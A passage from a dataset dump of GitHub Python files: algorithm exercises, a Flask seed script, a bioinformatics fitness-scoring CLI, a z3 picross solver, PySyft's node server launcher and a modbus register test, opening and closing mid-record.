2. 출력\n    if ans == -1:\n        print(-1)\n    else:\n        print(max_cost - ans)\n\nif __name__ == \"__main__\":\n    main()","repo_name":"Namujjigi/algorithm_study","sub_path":"220118/boj_21924_kruskal_dg.py","file_name":"boj_21924_kruskal_dg.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"33718424531","text":"import os\nimport shutil\nfrom src.db.config import sqlite_path\nfrom src.models.user import User\nfrom src.models.category import Category\nfrom src.models.product import Product\nfrom src.models.product_info import ProductInfo\nfrom src.models.product_picture import ProductPicture\n\ndef create_db(app, db):\n    with app.app_context():\n        if not os.path.isfile(sqlite_path):\n            \n            db.drop_all()\n            db.create_all()\n\n            add_user(db)\n            add_category(db) \n            add_product(db)\n           \n            db.session.commit()\n\n            \ndef add_user(db):\n    db.session.add(User(\"David\"))\n    db.session.add(User(\"Renata\"))    \n    \ndef add_category(db):\n    db.session.add(Category(\"Bebidas\"))\n    \ndef add_product(db):\n    db.session.add(Product(1, \"Heineken Lata 350ml\", \"Heineken International é uma cervejaria holandesa, fundada em 1863 por Gerard Adriaan Heineken na cidade de Amsterdã.\", 100, 4.39, 0))\n    db.session.add(ProductInfo(1, \"Observação\", \"A venda e o consumo de bebidas alcoólicas são proibidos para menores de 18 anos. Beba com moderação. Se for dirigir, não beba!\"))\n    db.session.add(ProductInfo(1, \"País de Origem\", \"Holanda\"))\n    db.session.add(ProductInfo(1, \"Embalagem\", \"Lata verde\"))\n    db.session.add(ProductPicture(1, \"heineken.png\"))\n    \n    db.session.add(Product(1, \"Original Lata 350ml\", \"Cerveja Pilsen Antarctica Original, harmonize suas comemorações com um sabor mais suave e refrescante!\", 100, 3.49, 0))           \n    db.session.add(ProductInfo(2, \"Observação\", \"A venda e o consumo de bebidas alcoólicas são proibidos para menores de 18 anos. Beba com moderação. Se for dirigir, não beba!\"))\n    db.session.add(ProductInfo(2, \"País de Origem\", \"Brasil\"))\n    db.session.add(ProductInfo(2, \"Embalagem\", \"Lata branca\"))\n    db.session.add(ProductPicture(2, \"original.png\"))\n    \n    db.session.add(Product(1, \"Budweiser Long Neck 350ml\", \"Budweiser, também conhecida popularmente como Bud, é uma cerveja do tipo long americana, fabricada pela AB InBev, fundada em 1876\", 100, 3.49, 0))           \n    db.session.add(ProductInfo(3, \"Observação\", \"A venda e o consumo de bebidas alcoólicas são proibidos para menores de 18 anos. Beba com moderação. Se for dirigir, não beba!\"))\n    db.session.add(ProductInfo(3, \"País de Origem\", \"Brasil\"))\n    db.session.add(ProductInfo(3, \"Embalagem\", \"Lata branca\"))\n    db.session.add(ProductPicture(3, \"budweiser.png\"))\n    \n    db.session.add(Product(1, \"Imperial Garrafa 600ml\", \"Cerveja ouro imperial garrafa 600ml, harmonize suas comemorações com um sabor mais suave e refrescante!\", 100, 3.49, 0))           \n    db.session.add(ProductInfo(4, \"Observação\", \"A venda e o consumo de bebidas alcoólicas são proibidos para menores de 18 anos. Beba com moderação. Se for dirigir, não beba!\"))\n    db.session.add(ProductInfo(4, \"País de Origem\", \"Brasil\"))\n    db.session.add(ProductInfo(4, \"Embalagem\", \"Lata branca\"))\n    db.session.add(ProductPicture(4, \"imperial.png\"))","repo_name":"dlancioni/training","sub_path":"02 - Flask/99 - Project/src/db/migrations.py","file_name":"migrations.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"44212598725","text":"from Snowman3.utilities.PySignal import Signal\n\n\nbuild_directory_changed = Signal()\n\npart_owner_signals = dict(  # PartView\n    start_set=Signal(),  # Before New Part\n    start_remove=Signal(),  # Before Delete Part\n    start_move=Signal(),  # Before Change Part Owner\n    end_set=Signal(),  # After New Part\n    end_remove=Signal(),  # After Delete Part\n    end_move=Signal(),  # After Change Part Owner\n)\n\npart_hierarchy_signals = dict(  # Hierarchy View\n    start_set=Signal(),  # Before New Part\n    start_remove=Signal(),  # Before Delete Part\n    start_move=Signal(),  # Before Change Hierarchy Parent\n    end_set=Signal(),  # After New Part\n    end_remove=Signal(),  # After Delete Part\n    end_move=Signal(),  # After Change Hierarchy Parent\n)\n\nroot_signals = dict(  # Hierarchy View\n    start_change=Signal(),  # Before New/Delete Root\n    end_change=Signal(),  # After New/Delete Root,\n)\n\ncontroller_signals = dict(  # Hierarchy View\n    critical_error=Signal(),  # System breaking error\n    reset=Signal()\n)\n\nmaya_callback_signals = dict(\n    pre_file_new_or_opened=Signal(),  # Hooks into mayas new scene callback\n    selection_changed=Signal()  # Hooks into mayas selectionChanged callback\n)\n\ngui_signals = dict(\n    reload_rig_builder=Signal(),  # Informs high level guis that the rig has changed in some way\n    saved_time_signal=Signal(),  # Update gui with saved time\n    info_notification=Signal(),  # Triggers Notification Widget to give a visual info (blue) message on the gui\n    success_notification=Signal(),  # Triggers Notification Widget to give a visual success (green) message on the gui\n    warning_notification=Signal(),  # Triggers Notification Widget to give a visual warning (orange) message on the gui\n    error_notification=Signal(),  # Triggers Notification Widget to give a visual error (red) message on the gui\n    party_notification=Signal()   # Triggers Notification Widget to give a visual party (pink) message on the gui\n)\nface_network_signals = dict(\n    network_about_to_change=Signal(),\n    network_finished_change=Signal(),\n    group_start_ownership=Signal(),\n    group_end_ownership=Signal(),\n    group_start_disown=Signal(),\n    group_end_disown=Signal(),\n    corrective_start_ownership=Signal(),\n    corrective_end_ownership=Signal(),\n    corrective_start_disown=Signal(),\n    corrective_end_disown=Signal(),\n    item_changed=Signal()\n)\n\n\ndef set_build_directory(current_build_directory):\n    import Snowman3.rigger.rig_factory.environment as env  # Move env.current_build_directory to a separate module...\n    env.local_build_directory = current_build_directory\n    build_directory_changed.emit(current_build_directory)\n","repo_name":"samLeheny/Snowman3","sub_path":"rigger/rig_factory/system_signals.py","file_name":"system_signals.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"2297613215","text":"class Solution:\n    def minSetSize(self, arr: List[int]) -> int:\n        c=0\n        n=int(len(arr)/2)\n        b=[]\n        x=Counter(arr)\n        w=sorted(x.values(),reverse=True )\n\n        for i in range(len(w)):\n            if c+w[i]>=n:\n                i=i+1\n                break\n            c+=w[i]\n\n        return i\n\n      \n        ","repo_name":"Temesgen-G/leetcode-problems","sub_path":"1338-reduce-array-size-to-the-half/1338-reduce-array-size-to-the-half.py","file_name":"1338-reduce-array-size-to-the-half.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"4375923426","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport argparse\nimport logging\nfrom barcode import Barcode, BarcodeTag, BarcodeStat\nfrom fastq import FastqReader, FastqRecord, FastqFileStat\nimport util\nfrom fitness import BarseqLayout, Fitness\n\n\nclass Context:\n    BARCODE_STAT_FNAME_SUFFIX = '.bstat.tsv'\n    FSCORE_BASE_FILE_NAME = 'fscore_base.tsv'\n    BARSEQ_LAYOUT_OUT_FILE_NAME = 'barseq_layout.tsv'\n    GSCORE_BASE_FILE_NAME = 'gscore_base.tsv'\n\n    LOG_FILE_NAME = 'gscore.log'\n\n    barseq_layout_fname = None\n    barseq_bstat_dir = None\n    bpag_fname = None\n    genes_gff_fname = None\n    output_dir = None\n    min_time0_read_count = None\n\n    ridge_alpha = None\n    lasso_alpha = None\n    enet_alpha = None\n    enet_l1_ratio = None\n    gene_pairs = False\n\n    @staticmethod\n    def build_context(args):\n        Context.barseq_layout_fname = args.barseq_layout_fname\n        Context.barseq_bstat_dir = args.input\n        Context.bpag_fname = args.bpag_fname\n        Context.output_dir = args.output\n        Context.min_time0_read_count = args.min_time0_read_count\n        Context.genes_gff_fname = args.genes_gff_fname\n        Context.ridge_alpha = args.ridge_alpha\n        Context.lasso_alpha = args.lasso_alpha\n        Context.enet_alpha = args.enet_alpha\n        Context.enet_l1_ratio = args.enet_l1_ratio\n        if args.gene_pairs:\n            Context.gene_pairs = True\n\n    @staticmethod\n    def gscore_base_fname():\n        return os.path.join(Context.output_dir, Context.GSCORE_BASE_FILE_NAME)\n\n    @staticmethod\n    def fscore_base_fname():\n        return os.path.join(Context.output_dir, Context.FSCORE_BASE_FILE_NAME)\n\n    @staticmethod\n    def barseq_layout_out_fname():\n        return os.path.join(Context.output_dir, Context.BARSEQ_LAYOUT_OUT_FILE_NAME)\n\n    @staticmethod\n    def log_fname():\n        return os.path.join(Context.output_dir, Context.LOG_FILE_NAME)\n\n\ndef parse_args():\n\n    parser = argparse.ArgumentParser(\n        description='''\n        The gscore program esimates the fitness score of genes using several methods.\n\n        First, the fintess scores of framgetms are calulcated folloing the approach\n        implemnted in the fscore module of the DubSeq package (see the help for the fscore\n        program).\n\n        For all genes (both protein coding genes and rnas) listed in the gff file\n        (--genes-gff-fname parameter), gene fintess score is calculated using 5 approaches:\n        1. Mean score - the score of each gene is calcalted as an average of fitness\n        2. CNNLS score (non-negative least squares used to caluclate noth positive and negative scores)\n        3. Ridge score\n        4. Lasso score\n        5. Elastic Net score\n\n\n        ''',\n        formatter_class=util.RawDescriptionArgumentDefaultsHelpFormatter)\n\n    parser.add_argument('-i', '--input',\n                        dest='input',\n                        help='path to the directory with bstat files produced by the barseq program',\n                        type=str,\n                        required=True\n                        )\n\n    parser.add_argument('-l', '--barseq-layout-fname',\n                        dest='barseq_layout_fname',\n                        help='path to a file with layout of barseq experiments',\n                        type=str,\n                        required=True\n                        )\n\n    parser.add_argument('-p', '--bpag-fname',\n                        dest='bpag_fname',\n                        help='path to a file with barcode pairs mapped to a genome using bpag program',\n                        type=str,\n                        required=True\n                        )\n\n    parser.add_argument('-g', '--genes-gff-fname',\n                        dest='genes_gff_fname',\n                        help='path to a gff file for the genome used to build dubseq library',\n                        type=str,\n                        required=True\n                        )\n\n    parser.add_argument('-o', '--output',\n                        dest='output',\n                        help='output directory',\n                        type=str,\n                        required=True\n                        )\n\n    parser.add_argument('-t', '--min-time0-read-count',\n                        dest='min_time0_read_count',\n                        help='The minimal required number of reads supporting a barcode in time zero',\n                        default=10,\n                        type=int\n                        )\n\n    parser.add_argument('--ridge_alpha',\n                        dest='ridge_alpha',\n                        help='''Regularization parameter alpha for the Ridge regression defining\n                        the amount of regularization in the Ridge objective function:\n                        ||Ax-y||^2_2 + alpha * ||x||^2_2 ''',\n                        default=1.0,\n                        type=float\n                        )\n\n    parser.add_argument('--lasso_alpha',\n                        dest='lasso_alpha',\n                        help='''Regularization parameter alpha for the Lasso regression defining\n                        the amount of regularization in the Lasso objective function:\n                        ||Ax-y||^2_2 + alpha * ||x||_1 ''',\n                        default=3.35,\n                        type=float\n                        )\n\n    parser.add_argument('--enet_alpha',\n                        dest='enet_alpha',\n                        help='''Regularization parameter alpha for the Elastic Net regression defining\n                        the amount of regularization in the Elastic Net objective function:\n                        ||Ax-y||^2_2 + alpha * i1_ratio * ||x||_1 + 0.5 * alpha * (1-r1_ratio) * ||x||^2_2  ''',\n                        default=3.62,\n                        type=float\n                        )\n\n    parser.add_argument('--enet_i1_ratio',\n                        dest='enet_l1_ratio',\n                        help='''Regularization parameter l1_ratio for the Elastic Net regression defining\n                        the amount of regularization in the Elastic Net objective function:\n                        ||Ax-y||^2_2 + alpha * i1_ratio * ||x||_1 + 0.5 * alpha * (1-r1_ratio) * ||x||^2_2  ''',\n                        default=0.7,\n                        type=float\n                        )\n    parser.add_argument('--gene_pairs',\n                        dest='gene_pairs',\n                        help='''If indicated, the gene paris will be added to the model as variables''',\n                        action='store_true')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    return parser.parse_args()\n\n\ndef check_args(args):\n    pass\n\n\ndef main():\n    Fitness.MIN_TIME0_READ_COUNT = Context.min_time0_read_count\n    Fitness.RIDGE_PARAM_ALPHA = Context.ridge_alpha\n    Fitness.LASSO_PARAM_ALPHA = Context.lasso_alpha\n    Fitness.ELASTIC_NET_PARAM_ALPHA = Context.enet_alpha\n    Fitness.ELASTIC_NET_PARAM_L1_RATIO = Context.enet_l1_ratio\n\n    barseq_layout = BarseqLayout(Context.barseq_layout_fname)\n    barseq_layout.save(Context.barseq_layout_out_fname())\n\n    Fitness.init(barseq_layout, Context.barseq_bstat_dir,\n                 Context.bpag_fname, Context.genes_gff_fname, Context.gene_pairs)\n    Fitness.save_fscore_base(Context.fscore_base_fname())\n    Fitness.save_gscore_base(Context.gscore_base_fname())\n\n    for index, item in enumerate(barseq_layout.all_items):\n        print('Doing %s' % item.itnum)\n        ss = Fitness.get_sample(index)\n        ts = Fitness.get_tzero_sample()\n        fs = Fitness.build_fscores(ss, ts)\n\n        fscore_fname = os.path.join(\n            Context.output_dir, item.itnum + '.fscore.tsv')\n        Fitness.save_fscores(fscore_fname, fs, ss, ts)\n\n        gs_mean = Fitness.build_gscores(fs, Fitness.SCORE_TYPE_MEAN)\n        gs_nnls = Fitness.build_gscores(fs, Fitness.SCORE_TYPE_C_NNLS)\n        gs_ridge = Fitness.build_gscores(fs, Fitness.SCORE_TYPE_RIDGE)\n        gs_lasso = Fitness.build_gscores(fs, Fitness.SCORE_TYPE_LASSO)\n        gs_enet = Fitness.build_gscores(fs, Fitness.SCORE_TYPE_ELASTIC_NET)\n\n        gscore_fname = os.path.join(\n            Context.output_dir, item.itnum + '.gscore.tsv')\n        Fitness.save_gscores(gscore_fname,\n                             [Fitness.SCORE_TYPE_MEAN,\n                              Fitness.SCORE_TYPE_C_NNLS,\n                              Fitness.SCORE_TYPE_RIDGE,\n                              Fitness.SCORE_TYPE_LASSO,\n                              Fitness.SCORE_TYPE_ELASTIC_NET\n                              ],\n                             [gs_mean, gs_nnls, gs_ridge, gs_lasso, gs_enet])\n\n\ndef init_logger():\n    with open(Context.log_fname(), 'w') as f:\n        f.write(\"Parameters:\\n\")\n        for arg, value in vars(args).items():\n            f.write(\"\\t%s=%s\\n\" % (arg, value))\n        # f.write(\"Report columns:\\n\")\n        # f.write(\"\\t%s\\n\" % FastqFileStat.header(sep='\\n\\t'))\n        # f.write(\"\\n\\n\")\n\n    logging.basicConfig(\n        filename=Context.log_fname(),\n        level=logging.INFO,\n        format=\"%(asctime)s %(message)s\",\n        datefmt=\"%m/%d/%Y %I:%M:%S %p\")\n\n\nif __name__ == '__main__':\n    args = parse_args()\n    check_args(args)\n    Context.build_context(args)\n    init_logger()\n\n    main()\n","repo_name":"Asplund-Samuelsson/dubdub","sub_path":"DubSeq/dubseq/gscore.py","file_name":"gscore.py","file_ext":"py","file_size_in_byte":9269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"73581663790","text":"from z3 import *\nfrom solver import column, consecutive, exclusive, nonconsecutive, none, one\n\n##################\n# 3x3 1-colour 1 #\n##################\n\nnrows = 3\nncols = 3\npuzzle = [[Bool(f'({row}, {col})') for col in range(ncols)] for row in range(nrows)]\n\nrow_0 = nonconsecutive(puzzle[0], 2)\nrow_1 = consecutive(puzzle[1], 2)\nrow_2 = one(puzzle[2])\n\ncol_0 = consecutive(column(puzzle, 0), 2)\ncol_1 = one(column(puzzle, 1))\ncol_2 = nonconsecutive(column(puzzle, 2), 2)\n\ns = Solver()\ns.add(row_0, row_1, row_2, col_0, col_1, col_2)\n\nif s.check() == sat:\n    m = s.model()\n    r = [[m.evaluate(puzzle[i][j]) for j in range(ncols)] for i in range(nrows)]\n    print_matrix(r)\nelse:\n    print(unsat)\n\n##################\n# 3x3 1-colour 2 #\n##################\n\nnrows = 3\nncols = 3\npuzzle = [[Bool(f'({row}, {col})') for col in range(ncols)] for row in range(nrows)]\n\nrows = [\n    consecutive(puzzle[0], 2),\n    consecutive(puzzle[1], 2),\n    none(puzzle[2]),\n]\n\ncolumns = [\n    consecutive(column(puzzle, 0), 2),\n    consecutive(column(puzzle, 1), 2),\n    none(column(puzzle, 2)),\n]\n\ns = Solver()\ns.add(rows + columns)\n\nif s.check() == sat:\n    m = s.model()\n    r = [[m.evaluate(puzzle[i][j]) for j in range(ncols)] for i in range(nrows)]\n    print_matrix(r)\nelse:\n    print(unsat)\n\n#################\n# 5x5 2-colours #\n#################\n\nnrows = 5\nncols = 5\nred = [[Bool(f\"({row}, {col}, 'red')\") for col in range(ncols)] for row in range(nrows)]\nblue = [[Bool(f\"({row}, {col}, 'blue')\") for col in range(ncols)] for row in range(nrows)]\n\nred_rows = [\n    consecutive(red[0], 5),\n    consecutive(red[1], 5),\n    consecutive(red[2], 2),\n    consecutive(red[3], 2),\n    consecutive(red[4], 2),\n]\n\nblue_rows = [\n    none(blue[0]),\n    none(blue[1]),\n    consecutive(blue[2], 3),\n    consecutive(blue[3], 3),\n    consecutive(blue[4], 3),\n]\n\nred_columns = [\n    consecutive(column(red, 0), 2),\n    consecutive(column(red, 1), 2),\n    consecutive(column(red, 2), 2),\n    consecutive(column(red, 3), 5),\n    consecutive(column(red, 4), 5),\n]\n\nblue_columns = [\n    consecutive(column(blue, 0), 3),\n    consecutive(column(blue, 1), 3),\n    consecutive(column(blue, 2), 3),\n    none(column(blue, 3)),\n    none(column(blue, 4)),\n]\n\ns = Solver()\ns.add(red_rows + red_columns\n      + blue_rows + blue_columns\n      )\n\nif s.check() == sat:\n    m = s.model()\n    r = [[m.evaluate(red[i][j]) for j in range(ncols)] for i in range(nrows)]\n    print_matrix(r)\n    r = [[m.evaluate(blue[i][j]) for j in range(ncols)] for i in range(nrows)]\n    print_matrix(r)\nelse:\n    print(unsat)\n\n##########################\n# 2x2 1-colour ambiguous #\n##########################\n\nnrows = 2\nncols = 2\npuzzle = [[Bool(f'({row}, {col})') for col in range(ncols)] for row in range(nrows)]\n\nrows = [\n    one(puzzle[0]),\n    one(puzzle[1])\n]\n\ncolumns = [\n    one(column(puzzle, 0)),\n    one(column(puzzle, 1))\n]\n\ns = Solver()\ns.add(rows + columns)\n\nif s.check() == sat:\n    m = s.model()\n    r = [[m.evaluate(puzzle[i][j]) for j in range(ncols)] for i in range(nrows)]\n    print_matrix(r)\nelse:\n    print(unsat)\n\n#################\n# 2x2 2-colour  #\n#################\n\nnrows = 2\nncols = 2\nred = [[Bool(f\"({row}, {col}, 'red')\") for col in range(ncols)] for row in range(nrows)]\nblue = [[Bool(f\"({row}, {col}, 'blue')\") for col in range(ncols)] for row in range(nrows)]\n\nred_rows = [\n    one(red[0]),\n    one(red[1])\n]\n\nred_columns = [\n    one(column(red, 0)),\n    one(column(red, 1))\n]\n\nblue_rows = [\n    one(blue[0]),\n    none(blue[1])\n]\n\nblue_columns = [\n    one(column(blue, 0)),\n    none(column(blue, 1))\n]\n\ns = Solver()\ns.add(red_rows + red_columns + blue_rows + blue_columns)\ns.add(exclusive(red, blue))\n\nif s.check() == sat:\n    m = s.model()\n    r = [[m.evaluate(red[i][j]) for j in range(ncols)] for i in range(nrows)]\n    print_matrix(r)\n    r = [[m.evaluate(blue[i][j]) for j in range(ncols)] for i in range(nrows)]\n    print_matrix(r)\nelse:\n    print(unsat)\n","repo_name":"yi-jiayu/picrosser","sub_path":"picross.py","file_name":"picross.py","file_ext":"py","file_size_in_byte":3927,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"34170654038","text":"# stdlib\nimport asyncio\nfrom enum import Enum\nimport logging\nimport multiprocessing\nimport os\nimport platform\nimport signal\nimport subprocess  # nosec\nimport time\nfrom typing import Callable\nfrom typing import List\nfrom typing import Tuple\n\n# third party\nfrom fastapi import APIRouter\nfrom fastapi import FastAPI\nimport requests\nfrom starlette.middleware.cors import CORSMiddleware\nimport uvicorn\n\n# relative\nfrom ..abstract_node import NodeSideType\nfrom ..client.client import API_PATH\nfrom ..util.constants import DEFAULT_TIMEOUT\nfrom ..util.util import os_name\nfrom .domain import Domain\nfrom .enclave import Enclave\nfrom .gateway import Gateway\nfrom .node import NodeType\nfrom .routes import make_routes\n\nif os_name() == \"macOS\":\n    # needed on MacOS to prevent [__NSCFConstantString initialize] may have been in\n    # progress in another thread when fork() was called.\n    multiprocessing.set_start_method(\"spawn\", True)\n\nWAIT_TIME_SECONDS = 20\n\n\ndef make_app(name: str, router: APIRouter) -> FastAPI:\n    app = FastAPI(\n        title=name,\n    )\n\n    api_router = APIRouter()\n\n    api_router.include_router(router)\n    app.include_router(api_router, prefix=\"/api/v2\")\n\n    app.add_middleware(\n        CORSMiddleware,\n        allow_origins=[\"*\"],\n        allow_credentials=True,\n        allow_methods=[\"*\"],\n        allow_headers=[\"*\"],\n    )\n\n    return app\n\n\nworker_classes = {\n    NodeType.DOMAIN: Domain,\n    NodeType.GATEWAY: Gateway,\n    NodeType.ENCLAVE: Enclave,\n}\n\n\ndef run_uvicorn(\n    name: str,\n    node_type: Enum,\n    host: str,\n    port: int,\n    reset: bool,\n    dev_mode: bool,\n    node_side_type: str,\n    enable_warnings: bool,\n):\n    async def _run_uvicorn(\n        name: str,\n        node_type: Enum,\n        host: str,\n        port: int,\n        reset: bool,\n        dev_mode: bool,\n        node_side_type: Enum,\n    ):\n        if node_type not in worker_classes:\n            raise NotImplementedError(f\"node_type: {node_type} is not supported\")\n        worker_class = worker_classes[node_type]\n        if dev_mode:\n            print(\n                f\"\\nWARNING: private key is based on node name: {name} in dev_mode. \"\n                \"Don't run this in production.\"\n            )\n\n            worker = worker_class.named(\n                name=name,\n                processes=0,\n                reset=reset,\n                local_db=True,\n                node_type=node_type,\n                node_side_type=node_side_type,\n                enable_warnings=enable_warnings,\n            )\n        else:\n            worker = worker_class(\n                name=name,\n                processes=0,\n                local_db=True,\n                node_type=node_type,\n                node_side_type=node_side_type,\n                enable_warnings=enable_warnings,\n            )\n        router = make_routes(worker=worker)\n        app = make_app(worker.name, router=router)\n\n        if reset:\n            try:\n                python_pids = find_python_processes_on_port(port)\n                for pid in python_pids:\n                    print(f\"Stopping process on port: {port}\")\n                    kill_process(pid)\n                    time.sleep(1)\n            except Exception:  # nosec\n                print(f\"Failed to kill python process on port: {port}\")\n\n        log_level = \"critical\"\n        if dev_mode:\n            log_level = \"info\"\n            logging.getLogger(\"uvicorn\").setLevel(logging.CRITICAL)\n            logging.getLogger(\"uvicorn.access\").setLevel(logging.CRITICAL)\n        config = uvicorn.Config(\n            app, host=host, port=port, log_level=log_level, reload=dev_mode\n        )\n        server = uvicorn.Server(config)\n\n        await server.serve()\n        asyncio.get_running_loop().stop()\n\n    loop = asyncio.new_event_loop()\n    asyncio.set_event_loop(loop)\n    loop.run_until_complete(\n        _run_uvicorn(\n            name,\n            node_type,\n            host,\n            port,\n            reset,\n            dev_mode,\n            node_side_type,\n        )\n    )\n    loop.close()\n\n\ndef serve_node(\n    name: str,\n    node_type: NodeType = NodeType.DOMAIN,\n    node_side_type: NodeSideType = NodeSideType.HIGH_SIDE,\n    host: str = \"0.0.0.0\",  # nosec\n    port: int = 8080,\n    reset: bool = False,\n    dev_mode: bool = False,\n    tail: bool = False,\n    enable_warnings: bool = False,\n) -> Tuple[Callable, Callable]:\n    server_process = multiprocessing.Process(\n        target=run_uvicorn,\n        args=(\n            name,\n            node_type,\n            host,\n            port,\n            reset,\n            dev_mode,\n            node_side_type,\n            enable_warnings,\n        ),\n    )\n\n    def stop():\n        print(f\"Stopping {name}\")\n        server_process.terminate()\n        server_process.join()\n\n    def start():\n        print(f\"Starting {name} server on {host}:{port}\")\n        server_process.start()\n\n        if tail:\n            try:\n                while True:\n                    time.sleep(1)\n            except KeyboardInterrupt:\n                try:\n                    stop()\n                except SystemExit:\n                    os._exit(130)\n        else:\n            for i in range(WAIT_TIME_SECONDS):\n                try:\n                    req = requests.get(\n                        f\"http://{host}:{port}{API_PATH}/metadata\",\n                        timeout=DEFAULT_TIMEOUT,\n                    )\n                    if req.status_code == 200:\n                        print(\" Done.\")\n                        break\n                except Exception:\n                    time.sleep(1)\n                    if i == 0:\n                        print(\"Waiting for server to start\", end=\"\")\n                    else:\n                        print(\".\", end=\"\")\n\n    return start, stop\n\n\ndef find_python_processes_on_port(port: int) -> List[int]:\n    system = platform.system()\n\n    if system == \"Windows\":\n        command = f\"netstat -ano | findstr :{port}\"\n        process = subprocess.Popen(  # nosec\n            command,\n            shell=True,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n            text=True,\n        )\n        output, _ = process.communicate()\n        pids = [\n            int(line.strip().split()[-1]) for line in output.split(\"\\n\") if line.strip()\n        ]\n\n    else:  # Linux and MacOS\n        command = f\"lsof -i :{port} -sTCP:LISTEN -t\"\n        process = subprocess.Popen(  # nosec\n            command,\n            shell=True,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n            text=True,\n        )\n        output, _ = process.communicate()\n        pids = [int(pid.strip()) for pid in output.split(\"\\n\") if pid.strip()]\n\n    python_pids = []\n    for pid in pids:\n        try:\n            if system == \"Windows\":\n                command = (\n                    f\"wmic process where (ProcessId='{pid}') get ProcessId,CommandLine\"\n                )\n            else:\n                command = f\"ps -p {pid} -o pid,command\"\n\n            process = subprocess.Popen(  # nosec\n                command,\n                shell=True,\n                stdout=subprocess.PIPE,\n                stderr=subprocess.PIPE,\n                text=True,\n            )\n            output, _ = process.communicate()\n            lines = output.strip().split(\"\\n\")\n\n            if len(lines) > 1 and \"python\" in lines[1].lower():\n                python_pids.append(pid)\n\n        except Exception as e:\n            print(f\"Error checking process {pid}: {e}\")\n\n    return python_pids\n\n\ndef kill_process(pid: int) -> None:\n    try:\n        os.kill(pid, signal.SIGTERM)\n        print(f\"Process {pid} terminated.\")\n    except Exception as e:\n        print(f\"Error killing process {pid}: {e}\")\n","repo_name":"OpenMined/PySyft","sub_path":"packages/syft/src/syft/node/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":7737,"program_lang":"python","lang":"en","doc_type":"code","stars":9004,"dataset":"github-code","pt":"38"}
{"seq_id":"5929000210","text":"# type: ignore  # shut up mypy, this whole file is just a minefield\nimport datetime\nfrom typing import Dict\n\nimport pytest\n\nfrom givenergy_modbus.model.register import HoldingRegister, InputRegister, Register, Type\n\n# fmt: off\nINPUT_REGISTERS: Dict[int, int] = dict(enumerate([\n    0, 14, 10, 70, 0, 2367, 0, 1832, 0, 0,  # 00x\n    0, 0, 159, 4990, 0, 12, 4790, 4, 0, 5,  # 01x\n    0, 0, 6, 0, 0, 0, 209, 0, 946, 0,  # 02x\n    65194, 0, 0, 3653, 0, 93, 90, 89, 30, 0,  # 03x\n    0, 222, 342, 680, 81, 0, 930, 0, 213, 1,  # 04x\n    4991, 0, 0, 2356, 4986, 223, 170, 0, 292, 4,  # 05x\n    3117, 3124, 3129, 3129, 3125, 3130, 3122, 3116, 3111, 3105,  # 06x\n    3119, 3134, 3146, 3116, 3135, 3119, 175, 167, 171, 161,  # 07x\n    49970, 172, 0, 50029, 0, 19097, 0, 16000, 0, 1804,  # 08x\n    0, 1552, 256, 0, 0, 0, 12, 16, 3005, 0,  # 09x\n    9, 0, 16000, 174, 167, 0, 0, 0, 0, 0,  # 10x\n    16967, 12594, 13108, 18229, 13879, 8, 0, 0, 0, 0,  # 11x\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,  # 12x\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,  # 13x\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,  # 14x\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,  # 15x\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,  # 16x\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,  # 17x\n    1696, 1744, 89, 90,  # 18x\n]))\nHOLDING_REGISTERS: Dict[int, int] = dict(enumerate([\n    8193, 3, 2098, 513, 0, 50000, 3600, 1, 16967, 12594,  # 00x\n    13108, 18229, 13879, 21313, 12594, 13108, 18229, 13879, 3005, 449,  # 01x\n    1, 449, 2, 0, 32768, 30235, 6000, 1, 0, 0,  # 02x\n    17, 0, 4, 7, 140, 22, 1, 1, 23, 57,  # 03x\n    19, 1, 2, 0, 0, 0, 101, 1, 0, 0,  # 04x\n    100, 0, 0, 1, 1, 160, 0, 0, 1, 0,  # 05x\n    1500, 30, 30, 1840, 2740, 4700, 5198, 126, 27, 24,  # 06x\n    28, 1840, 2620, 4745, 5200, 126, 52, 1, 28, 1755,  # 07x\n    2837, 4700, 5200, 2740, 0, 0, 0, 0, 0, 0,  # 08x\n    0, 0, 0, 0, 30, 430, 1, 4320, 5850, 0,  # 09x\n    0, 0, 0, 0, 0, 0, 0, 0, 6, 1,  # 10x\n    4, 50, 50, 0, 4, 0, 100, 0, 0, 0,  # 11x\n    0,  # 12x\n]))\n\n\n# fmt: on\n\n\ndef test_lookup():\n    \"\"\"Ensure we can look up registers by index, instead of the complex type they're defined as.\"\"\"\n    assert InputRegister(0) == InputRegister.INVERTER_STATUS\n    with pytest.raises(TypeError) as e:\n        InputRegister(0, Type.UINT16)\n    assert e.value.args[0] == 'Cannot extend enumerations'\n\n    assert HoldingRegister(0) == HoldingRegister.DEVICE_TYPE_CODE\n    with pytest.raises(TypeError) as e:\n        HoldingRegister(0, Type.UINT16)\n    assert e.value.args[0] == 'Cannot extend enumerations'\n\n\ndef test_str_and_repr():\n    \"\"\"Ensure some behaviour around str and repr handling.\"\"\"\n    assert isinstance(InputRegister(0), Register)\n    assert isinstance(InputRegister(0), str)\n    assert not isinstance(InputRegister(0), int)\n    assert str(InputRegister(0)) == 'IR:000'\n    assert repr(InputRegister(250)) == 'IR:250'\n    assert str(HoldingRegister(109)) == 'HR:109'\n    assert repr(HoldingRegister(99)) == 'HR:099'\n\n\ndef test_comparison():\n    \"\"\"Ensure registers from 